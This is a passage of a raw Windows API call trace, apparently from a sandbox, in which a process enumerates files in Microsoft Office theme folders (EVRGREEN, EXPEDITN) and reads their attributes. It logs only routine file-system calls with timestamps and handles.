ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0060.539] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6722, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0060.539] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6722, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0060.539] GetLastError () returned 0x12 [0060.539] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0060.539] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0060.539] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0060.539] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.539] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN", cAlternateFileName="")) returned 1 [0060.539] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0060.539] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0060.877] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0060.881] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0060.881] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfaabc0 [0060.883] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfaabc0, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfaabc0, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0060.884] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfaabc0) returned 1 [0060.885] NtClose (Handle=0x190) returned 0x0 [0060.887] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0060.888] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.889] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0060.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0060.890] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.891] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa93c8 [0060.892] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0060.896] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.897] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc37d800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x52008f10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc37d800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x12dee, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN.ELM", cAlternateFileName="")) returned 1 [0060.897] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.898] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.899] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa94d0 [0060.965] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0060.965] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa7e70 [0060.967] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa95d8 [0060.968] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.968] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6099bdd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x223, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN.INF", cAlternateFileName="")) returned 1 [0060.969] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.970] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.970] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.972] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.972] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.973] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa7e90 [0060.974] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa96e0 [0060.975] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.975] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0060.976] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.977] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.977] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.979] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.979] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.981] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa7eb0 [0060.981] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa97e8 [0060.982] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.983] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7eb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0060.984] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.985] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.985] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.988] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.988] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.992] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa7ed0 [0060.992] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa98f0 [0060.993] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.993] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7eb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0060.995] GetLastError () returned 0x12 [0060.996] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0060.999] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0061.001] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.001] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc37d800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x52008f10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc37d800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x12dee, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN.ELM", cAlternateFileName="")) returned 1 [0061.002] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6099bdd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x223, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN.INF", cAlternateFileName="")) returned 1 [0061.003] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.003] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7eb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.004] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7eb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0061.005] GetLastError () returned 0x12 [0061.005] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa93c8) returned 1 [0061.006] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0061.007] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa94d0) returned 1 [0061.008] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0061.008] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN", cAlternateFileName="")) returned 1 [0061.011] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0061.011] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0061.015] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0061.017] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0061.018] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfaabc0 [0061.019] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfaabc0, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfaabc0, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0061.021] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfaabc0) returned 1 [0061.021] NtClose (Handle=0x184) returned 0x0 [0061.023] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0061.024] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.025] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0061.026] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0061.026] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.027] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa94d0 [0061.028] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0061.030] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.031] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd690500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd690500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x19539, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN.ELM", cAlternateFileName="")) returned 1 [0061.032] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.032] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.033] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.034] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.035] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.036] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa93c8 [0061.037] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0061.037] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa7ef0 [0061.039] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa99f8 [0061.039] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.040] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x255, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN.INF", cAlternateFileName="")) returned 1 [0061.041] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.042] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.043] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.044] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.044] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.045] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa7f10 [0061.045] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa9b00 [0061.046] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x7c0) returned 0xfaabc0 [0061.049] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfaa438) returned 1 [0061.049] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.049] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.050] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.051] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.052] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.053] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.053] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.054] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa7f30 [0061.055] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa9c08 [0061.056] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.059] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xed34, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.059] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.060] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.060] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.061] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.063] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.066] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa7f50 [0061.068] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa9d10 [0061.070] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.071] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xed34, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0061.083] GetLastError () returned 0x12 [0061.084] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 